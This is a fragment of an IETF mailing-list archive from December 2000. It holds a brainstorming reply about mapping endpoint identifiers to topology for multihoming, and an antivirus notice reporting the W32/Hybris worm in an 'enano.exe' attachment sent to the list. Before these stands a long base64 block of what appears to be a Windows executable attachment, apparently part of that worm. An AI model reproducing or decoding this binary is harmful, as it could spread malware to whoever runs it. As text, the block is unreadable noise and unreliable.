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 AAAAAAAAAAAAAAAAADhwAAAAAAAAMHAAAAAAAAAAAAAATHAAAABwAAAAAAAAAAAAAAAAAAAAAAAA AAAAADhwAAAAAAAAEQFHZXRNb2R1bGVIYW5kbGVBAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA --Boundary_(ID_cTKKVqPnpmxe3QHXdfm3CA)-- From owner-ietf-outbound Tue Dec 26 14:01:33 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA21829 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 14:00:02 -0500 (EST) Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20949 for ; Tue, 26 Dec 2000 13:41:46 -0500 (EST) Received: from fwd01.sul.t-online.com by mailout05.sul.t-online.com with smtp id 14Az2g-0004Ld-01; Tue, 26 Dec 2000 19:41:46 +0100 Received: from khms.westfalen.de (340048396503-0001@[62.156.34.53]) by fmrl01.sul.t-online.com with esmtp id 14Az2S-1iQCX2C; Tue, 26 Dec 2000 19:41:32 +0100 Received: from root by khms.westfalen.de with local-bsmtp (Exim 3.20 #1) id 14Az2I-0005xf-00 (Debian); Tue, 26 Dec 2000 19:41:22 +0100 Received: by khms.westfalen.de (CrossPoint v3.12d.kh5 R/C435); 26 Dec 2000 19:33:18 +0200 Date: 26 Dec 2000 17:32:00 +0200 From: kaih@khms.westfalen.de (Kai Henningsen) To: ietf@ietf.org Message-ID: <7sahtTZHw-B@khms.westfalen.de> In-Reply-To: <200012191915.OAA09308@astro.cs.utk.edu> Subject: Re: NATs *ARE* evil! X-Mailer: CrossPoint v3.12d.kh5 R/C435 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Organization: Organisation? Me?! Are you kidding? References: <20001219144649.0087F899@sean.ebone.net> <200012191915.OAA09308@astro.cs.utk.edu> X-No-Junk-Mail: I do not want to get *any* junk mail. Comment: Unsolicited commercial mail will incur an US$100 handling fee per received mail. X-Fix-Your-Modem: +++ATS2=255&WO1 X-Sender: 340048396503-0001@t-dialin.net X-Loop: ietf@ietf.org moore@cs.utk.edu (Keith Moore) wrote on 19.12.00 in <200012191915.OAA09308@astro.cs.utk.edu>: > agreed, *provided* there is a fast and reliable service for mapping > between one kind of identity and another. arguments of the form > "separate identities are better" tend to gloss over the difficulty > of providing an adequate mapping service. > > (Hint: DNS is neither sufficiently fast nor sufficiently reliable) Hmm, can't resist putting on my brain-storming hat here ... Let's see: assume we have a map from "who" (endpoint identifier) to "where" (topology descriptor). There will probably be a seconf map mapping "where" to "how" (routing info); this second will certainly be locally different - essentially traditional routing. Hmm. If this is to include multi-homing support, the who-where map needs to be 1:N. There's a problem with secure updating. I can connect via several different ISPs, just like a multi-homed host, so preferrably my endpoint identifier would not "belong" to those ISPs but to me. But then I don't know the topology information for that map any better than "I just connected to ISP X". And if that ISP isn't known to all routers globally (and at least one of them certainly isn't, doesn't even have an AS), then that information is not sufficient. So: I need to update the map to say "I just connected to system X", and there needs to be a secondary map (unless of course the first one can be reused) that says "system X is in turn connected to system Y, which is connected to globally known system Z". (Except all of those really are 1:N, not 1:1.) Now when I want to send a packet, I need to do the equivalent to ARP - query the map for topology information for the endpoint identifier of the other side, resolve the next hop via local routing information, and send it on it's way to the next hop. And here it gets interesting again. ARP just sends out a broadcast packet. We certainly don't want anything like that on the global Internet. So the packet needs to go to a specific destination, and for that to not create a bootstrapping problem, we'd need to have well-known ways to reach a local proxy. Proxy. Hmm. Caching would certainly be necessary. How long? Until someone on the route says "I can't deliver this"? What about routers in the middle, how do they find out? Where does the map live? We'd need to distribute the storage according to end-point ranges, I think, which means we get endpoint registries. Which probably need to be globally known (i.e. use special routing table entries) at least for the highest level, assuming there are several levels. (Why am I thinking EUI-64?) This looks possible, but I can see a great many new headaches in actually getting it operable. > the other problem with separating the layers is that the ability to > drill down through layers is essential for diagnostic purposes, > for tracking down miscreants, and to allow prototyping new kinds > of services that need to operate with knowledge of layer 3. So > we will always have a need for some kinds of "applications" to > operate with knowledge of network addresses. That seems entirely possible with something like the above. MfG Kai From owner-ietf-outbound Tue Dec 26 14:11:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA22290 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 14:10:02 -0500 (EST) Received: from UMKC-MAIL01.umkc.edu ([134.193.71.1]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21234 for ; Tue, 26 Dec 2000 13:48:29 -0500 (EST) Received: by email.exchange.umkc.edu with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Dec 2000 12:48:30 -0600 Message-ID: <70805CBA8CD4D211A8090060945155F3023666CA@email.exchange.umkc.edu> From: ANTIGEN_UMKC-MAIL01 To: "'ietf@ietf.org'" Subject: Antigen found the W32/Hybris.gen@M virus Date: Tue, 26 Dec 2000 12:48:28 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Loop: ietf@ietf.org You have recently received a virus infected message. Please read this whole message for details. In a message with the subject of: "Enanito si, pero con que pedazo!" Sent from: Hahaha At the email address of: hahaha@sexyfun.net Antigen for Exchange found the file: enano.exe Infected with the virus: W32/Hybris.gen@M . The file is: Deleted. The message was sent to: ,ietf@ietf.org The message was discovered in the folder: IMC Queues\Inbound located at University of Missouri/Kansas City/UMKC-MAIL01. If the person that sent you a message with the subject line of: Enanito si, pero con que pedazo! was from UMKC, your copy of this message has 